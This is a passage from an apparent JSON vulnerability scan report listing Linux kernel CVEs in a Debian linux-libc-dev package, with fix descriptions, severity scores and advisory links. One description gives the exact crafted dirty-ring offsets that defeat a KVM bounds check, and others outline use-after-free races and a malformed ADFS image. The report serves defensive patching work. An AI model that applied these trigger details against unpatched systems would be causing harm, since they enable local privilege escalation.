"PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52968", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2a0db43267f1556d96e1a4830189c896513e4cdd31878c0be510f1d41644cb8f", "Title": "kernel: KVM: s390: pci: fix GAIT table indexing due to double-scaling pointer arithmetic", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: s390: pci: fix GAIT table indexing due to double-scaling pointer arithmetic\n\nkvm_s390_pci_aif_enable(), kvm_s390_pci_aif_disable(), and\naen_host_forward() index the GAIT by manually multiplying the index\nwith sizeof(struct zpci_gaite).\n\nSince aift-\u003egait is already a struct zpci_gaite pointer, this\ndouble-scales the offset, accessing element aisb*16 instead of aisb.\n\nThis causes out-of-bounds accesses when aisb \u003e= 32 (with\nZPCI_NR_DEVICES=512)\n\nFix by removing the erroneous sizeof multiplication.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 6.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52968", "https://git.kernel.org/linus/16d990a15491cf76cd6eef0846e1b4100e63261a%20%287.1-rc4%29", "https://git.kernel.org/stable/c/11b8ff5b930b351dd1f6f088dce0beb027ac92d0", "https://git.kernel.org/stable/c/16d990a15491cf76cd6eef0846e1b4100e63261a", "https://git.kernel.org/stable/c/31a9d9f9942885aae356a1a57c79e82c5b5b0828", "https://git.kernel.org/stable/c/a99a25db131ece5e6c0f7632da606de631efe4f2", "https://git.kernel.org/stable/c/b22a2da8792a7bfe743c1a922e77fa499ddedbe8", "https://git.kernel.org/stable/c/e7216651b94e92e5433fb2f54b77864642b4ea48", "https://lore.kernel.org/linux-cve-announce/2026062438-CVE-2026-52968-8803@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52968", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52968" ], "PublishedDate": "2026-06-24T17:17:07.243Z", "LastModifiedDate": "2026-10-19T20:18:51.607Z" }, { "VulnerabilityID": "CVE-2026-52969", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52969", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca0be199a2d1e20466d0dd0acb1725509642a8124edb9d3fb344644ee621553c", "Title": "kernel: KVM: Reject wrapped offset in kvm_reset_dirty_gfn()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: Reject wrapped offset in kvm_reset_dirty_gfn()\n\nkvm_reset_dirty_gfn() guards the gfn range with\n\n\tif (!memslot || (offset + __fls(mask)) \u003e= memslot-\u003enpages)\n\t\treturn;\n\nbut offset is u64 and the addition is unchecked. The check can be\nsilently bypassed by a u64 wrap.\n\nThe dirty ring backing those entries is MAP_SHARED at\nKVM_DIRTY_LOG_PAGE_OFFSET of the vcpu fd, so the VMM can rewrite the\nslot and offset fields of any entry between when the kernel pushes\nthem and when KVM_RESET_DIRTY_RINGS consumes them. On reset,\nkvm_dirty_ring_reset() re-reads the values via READ_ONCE() and feeds\nthem straight back into this check; only the flags handshake is\ntreated as the handover, the slot/offset payload is taken on trust.\n\nCrafting two entries\n\n\tentry[i].offset = 0xffffffffffffffc1\n\tentry[i+1].offset = 0\n\nmakes the coalescing loop in kvm_dirty_ring_reset() compute\n\n\tdelta = (s64)(0 - 0xffffffffffffffc1) = 63\n\nwhich falls in [0, BITS_PER_LONG), so it folds entry[i+1] into the\nexisting mask by setting bit 63. The trailing kvm_reset_dirty_gfn()\ncall then sees offset = 0xffffffffffffffc1 and __fls(mask) = 63;\nthe sum is 0 in u64 and the bounds check passes.\n\nThat offset propagates into kvm_arch_mmu_enable_log_dirty_pt_masked()\nunchanged. On the legacy MMU path -- kvm_memslots_have_rmaps() ==\ntrue, i.e. shadow paging, any VM that has allocated shadow roots, or\na write-tracked slot -- it reaches gfn_to_rmap(), which indexes\nslot-\u003earch.rmap[0][] with a near-U64_MAX gfn. That is an\nout-of-bounds load of a kvm_rmap_head, followed by a conditional\nclear of PT_WRITABLE_MASK in whatever the loaded pointer points at.\nThe path is reachable from any process holding /dev/kvm.\n\nRange-check offset on its own first, so the addition cannot wrap.\nmemslot-\u003enpages is bounded well below U64_MAX, so once offset \u003c\nnpages holds, offset + __fls(mask) (with __fls(mask) \u003c BITS_PER_LONG)\nstays in range.", "Severity": "HIGH", "CweIDs": [ "CWE-129", "CWE-190" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52969", "https://bugzilla.redhat.com/show_bug.cgi?id=2492434", "https://git.kernel.org/linus/577a8d3bae0531f0e5ccfac919cd8192f920a804%20%287.1-rc4%29", "https://git.kernel.org/stable/c/01b71b930f15728aa8599478a7ce90c19dcd9fc2", "https://git.kernel.org/stable/c/0d419c23bb11b5c9664de777c47c1f04a235882d", "https://git.kernel.org/stable/c/0eb281eb95b2d4eea4db1da5fe91023aecc97095", "https://git.kernel.org/stable/c/577a8d3bae0531f0e5ccfac919cd8192f920a804", "https://git.kernel.org/stable/c/74f1a22f7a80f03d28ad8551a2d25d563433addf", "https://git.kernel.org/stable/c/b315b033a877b1ee6d827810b5d7bb4392ffcf8d", "https://git.kernel.org/stable/c/ecf9b3ea7847fe14f34b8c41f00de1eb95c747da", "https://linux.oracle.com/cve/CVE-2026-52969.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062439-CVE-2026-52969-8aa9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52969", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52969.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52969" ], "PublishedDate": "2026-06-24T17:17:07.367Z", "LastModifiedDate": "2026-07-15T01:16:24.59Z" }, { "VulnerabilityID": "CVE-2026-52976", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52976", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9e62b39b580c815a3898d48831609f84677f663a5fc5bfd70ab5033a1c29e20d", "Title": "kernel: drm/xe: Fix error cleanup in xe_exec_queue_create_ioctl()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe: Fix error cleanup in xe_exec_queue_create_ioctl()\n\nTwo error handling issues exist in xe_exec_queue_create_ioctl():\n\n1. When xe_hw_engine_group_add_exec_queue() fails, the error path jumps\n to put_exec_queue which skips xe_exec_queue_kill(). If the VM is in\n preempt fence mode, xe_vm_add_compute_exec_queue() has already added\n the queue to the VM's compute exec queue list. Skipping the kill\n leaves the queue on that list, leading to a dangling pointer after\n the queue is freed.\n\n2. When xa_alloc() fails after xe_hw_engine_group_add_exec_queue() has\n succeeded, the error path does not call\n xe_hw_engine_group_del_exec_queue() to remove the queue from the hw\n engine group list. The queue is then freed while still linked into\n the hw engine group, causing a use-after-free.\n\nFix both by:\n- Changing the xe_hw_engine_group_add_exec_queue() failure path to jump\n to kill_exec_queue so that xe_exec_queue_kill() properly removes the\n queue from the VM's compute list.\n- Adding a del_hw_engine_group label before kill_exec_queue for the\n xa_alloc() failure path, which removes the queue from the hw engine\n group before proceeding with the rest of the cleanup.\n\n(cherry picked from commit 37c831f401746a45d510b312b0ed7a77b1e06ec8)", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-825" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:42919", "https://access.redhat.com/errata/RHSA-2026:45192", "https://access.redhat.com/errata/RHSA-2026:52667", "https://access.redhat.com/errata/RHSA-2026:52764", "https://access.redhat.com/security/cve/CVE-2026-52976", "https://bugzilla.redhat.com/2406712", "https://bugzilla.redhat.com/2492277", "https://bugzilla.redhat.com/2492284", "https://bugzilla.redhat.com/2492318", "https://bugzilla.redhat.com/2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2406712", "https://bugzilla.redhat.com/show_bug.cgi?id=2492277", "https://bugzilla.redhat.com/show_bug.cgi?id=2492284", "https://bugzilla.redhat.com/show_bug.cgi?id=2492318", "https://bugzilla.redhat.com/show_bug.cgi?id=2492363", "https://bugzilla.redhat.com/show_bug.cgi?id=2510891", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40026", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52950", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52976", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53059", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64561", "https://errata.almalinux.org/9/ALSA-2026-45192.html", "https://errata.rockylinux.org/RLSA-2026:45192", "https://git.kernel.org/linus/f3cc22d4df3ed58439ea7e21daa54c3608e03b78%20%287.1-rc2%29", "https://git.kernel.org/stable/c/1be55646d8a2035343b012dcb12210db7bb8b056", "https://git.kernel.org/stable/c/753b149d5a433eb19e0c1b0eb4526a6e26120d1f", "https://git.kernel.org/stable/c/f3cc22d4df3ed58439ea7e21daa54c3608e03b78", "https://git.kernel.org/stable/c/f93b00161213a0fe9f7ff1d8498ee5ca9e0a5c43", "https://linux.oracle.com/cve/CVE-2026-52976.html", "https://linux.oracle.com/errata/ELSA-2026-45192.html", "https://lore.kernel.org/linux-cve-announce/2026062440-CVE-2026-52976-d615@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52976", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52976.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52976" ], "PublishedDate": "2026-06-24T17:17:08.183Z", "LastModifiedDate": "2026-10-19T20:18:52.51Z" }, { "VulnerabilityID": "CVE-2026-52991", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52991", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:54fb7d8d5e8d6efa6a3411ed1fd81ea0030659c6445b51a9e036b141430a4152", "Title": "kernel: sched/psi: fix race between file release and pressure write", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/psi: fix race between file release and pressure write\n\nA potential race condition exists between pressure write and cgroup file\nrelease regarding the priv member of struct kernfs_open_file, which\ntriggers the uaf reported in [1].\n\nConsider the following scenario involving execution on two separate CPUs:\n\n CPU0\t\t\t\t\tCPU1\n ====\t\t\t\t\t====\n\t\t\t\t\tvfs_rmdir()\n\t\t\t\t\tkernfs_iop_rmdir()\n\t\t\t\t\tcgroup_rmdir()\n\t\t\t\t\tcgroup_kn_lock_live()\n\t\t\t\t\tcgroup_destroy_locked()\n\t\t\t\t\tcgroup_addrm_files()\n\t\t\t\t\tcgroup_rm_file()\n\t\t\t\t\tkernfs_remove_by_name()\n\t\t\t\t\tkernfs_remove_by_name_ns()\n vfs_write()\t\t\t\t__kernfs_remove()\n new_sync_write()\t\t\tkernfs_drain()\n kernfs_fop_write_iter()\t\tkernfs_drain_open_files()\n cgroup_file_write()\t\t\tkernfs_release_file()\n pressure_write()\t\t\tcgroup_file_release()\n ctx = of-\u003epriv;\n\t\t\t\t\tkfree(ctx);\n \t\t\t\t\tof-\u003epriv = NULL;\n\t\t\t\t\tcgroup_kn_unlock()\n cgroup_kn_lock_live()\n cgroup_get(cgrp)\n cgroup_kn_unlock()\n if (ctx-\u003epsi.trigger) // here, trigger uaf for ctx, that is of-\u003epriv\n\nThe cgroup_rmdir() is protected by the cgroup_mutex, it also safeguards\nthe memory deallocation of of-\u003epriv performed within cgroup_file_release().\nHowever, the operations involving of-\u003epriv executed within pressure_write()\nare not entirely covered by the protection of cgroup_mutex. Consequently,\nif the code in pressure_write(), specifically the section handling the\nctx variable executes after cgroup_file_release() has completed, a uaf\nvulnerability involving of-\u003epriv is triggered.\n\nTherefore, the issue can be resolved by extending the scope of the\ncgroup_mutex lock within pressure_write() to encompass all code paths\ninvolving of-\u003epriv, thereby properly synchronizing the race condition\noccurring between cgroup_file_release() and pressure_write().\n\nAnd, if an live kn lock can be successfully acquired while executing\nthe pressure write operation, it indicates that the cgroup deletion\nprocess has not yet reached its final stage; consequently, the priv\npointer within open_file cannot be NULL. Therefore, the operation to\nretrieve the ctx value must be moved to a point *after* the live kn\nlock has been successfully acquired.\n\nIn another situation, specifically after entering cgroup_kn_lock_live()\nbut before acquiring cgroup_mutex, there exists a different class of\nrace condition:\n\nCPU0: write memory.pressure CPU1: write cgroup.pressure=0\n===========================\t\t =============================\n\nkernfs_fop_write_iter()\n kernfs_get_active_of(of)\n pressure_write()\n cgroup_kn_lock_live(memory.pressure)\n cgroup_tryget(cgrp)\n kernfs_break_active_protection(kn)\n ... blocks on cgroup_mutex\n\n \t cgroup_pressure_write()\n \t cgroup_kn_lock_live(cgroup.pressure)\n \t cgroup_file_show(memory.pressure, false)\n \t kernfs_show(false)\n \t kernfs_drain_open_files()\n \t cgroup_file_release(of)\n \t kfree(ctx)\n \t of-\u003epriv = NULL\n \t cgroup_kn_unlock()\n\n ... acquires cgroup_mutex\n ctx = of-\u003epriv; // may now be NULL\n if (ctx-\u003epsi.trigger) // NULL dereference\n\nConsequently, there is a possibility that of-\u003epriv is NULL, the pressure\nwrite needs to check for this.\n\nNow that the scope of the cgroup_mutex has been expanded, the original\nexplicit cgroup_get/put operations are no longer necessary, this is\nbecause acquiring/releasing the live kn lock inherently executes a\ncgroup get/put operation.\n\n[1]\nBUG: KASAN: slab-use-after-free in pressure_write+0xa4/0x210 kernel/cgroup/cgroup.c:4011\nCall Trace:\n pressure_write+0xa4/0x210 kernel/cgroup/cgroup.c:4011\n cgroup_file_write+0x36f/0x790 kernel/cgroup/cgroup.c:43\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-362", "CWE-367" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57251", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/errata/RHSA-2026:57253", "https://access.redhat.com/errata/RHSA-2026:57254", "https://access.redhat.com/security/cve/CVE-2026-52991", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/a5b98009f16d8a5fb4a8ff9a193f5735515c38fa%20%287.1-rc2%29", "https://git.kernel.org/stable/c/03dc070fa0fc3cb4068693f468ccd5f8a7e58282", "https://git.kernel.org/stable/c/58e6ca11e45c9d6e52255d1135e7dbff0a360334", "https://git.kernel.org/stable/c/a5b98009f16d8a5fb4a8ff9a193f5735515c38fa", "https://git.kernel.org/stable/c/af0638534bfae7980582c6482531a0872f8ee341", "https://git.kernel.org/stable/c/d4352c0709bfd38c752fccbde7fd72a82ac78f23", "https://git.kernel.org/stable/c/d8ddbc3330fa6851c56b046e630a8fc64830a0ce", "https://linux.oracle.com/cve/CVE-2026-52991.html", "https://linux.oracle.com/errata/ELSA-2026-57253.html", "https://lore.kernel.org/linux-cve-announce/2026062444-CVE-2026-52991-18fe@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52991", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52991.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-52991" ], "PublishedDate": "2026-06-24T17:17:09.953Z", "LastModifiedDate": "2026-10-30T13:19:05.697Z" }, { "VulnerabilityID": "CVE-2026-52992", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52992", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e33ebd2f12c7492fb4924952bba533f62542159aafbf2fca5dada1f54c2b4276", "Title": "kernel: fs/adfs: validate nzones in adfs_validate_bblk()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/adfs: validate nzones in adfs_validate_bblk()\n\nReject ADFS disc records with a zero zone count during boot block\nvalidation, before the disc record is used.\n\nWhen nzones is 0, adfs_read_map() passes it to kmalloc_array(0, ...)\nwhich returns ZERO_SIZE_PTR, and adfs_map_layout() then writes to\ndm[-1], causing an out-of-bounds write before the allocated buffer.\n\nadfs_validate_dr0() already rejects nzones != 1 for old-format\nimages. Add the equivalent check to adfs_validate_bblk() for\nnew-format images so that a crafted image with nzones == 0 is\nrejected at probe time.\n\nFound by syzkaller.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52992", "https://git.kernel.org/linus/dd9d3e16c2d5fa166e13dce07413be51f42c8f5d%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1586bd2d2fb436a26df20a70e78b000d34a7d159", "https://git.kernel.org/stable/c/1f0ed0f57f0fc87e46fe19a05435c214dc464be2", "https://git.kernel.org/stable/c/33aafd2418a59c96c0389d47ea09026661fa9ec6", "https://git.kernel.org/stable/c/60d82592ac8b5637fbed871381eb0a16df0a492e", "https://git.kernel.org/stable/c/6ff8cca5cdb4f2e0ea6d28ecd78479dd3f221ebc", 